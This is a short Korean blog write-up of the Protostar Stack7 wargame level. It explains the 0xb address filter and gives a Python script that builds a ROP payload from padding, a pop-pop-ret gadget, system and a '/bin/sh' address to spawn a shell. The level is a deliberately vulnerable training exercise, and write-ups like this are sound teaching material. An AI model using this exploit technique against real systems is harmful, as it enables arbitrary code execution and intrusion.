Wargame/Protostar:Exploit-Exercises
[Protostar : Exploit-Exercises] Stack7
Choiys
2016. 9. 24. 06:59
이번엔 0xb를 필터링합니다.
지금까지 사용하던 system 함수의 주소가 0xb7ecffb0이었으니 RTL은 못쓰겠네요.
ROP를 써봅시다.
#coding: utf-8 from struct import pack, unpack p = lambda x: pack("<L", x) up = lambda x: pack("<L", x)[0] system = 0xb7ecffb0 binsh = 0xb7fb63bf ppr = 0x80485c7 payload = 'A'*80 payload += p(ppr) payload += 'BBBB' payload += 'BBBB' payload += p(system) payload += 'CCCC' payload += p(binsh) print payload
stack7.py
objdump에서 뽑아낸 ppr 가젯을 이용하여 ROP를 때려줍시다.
쉘을 따줍니다.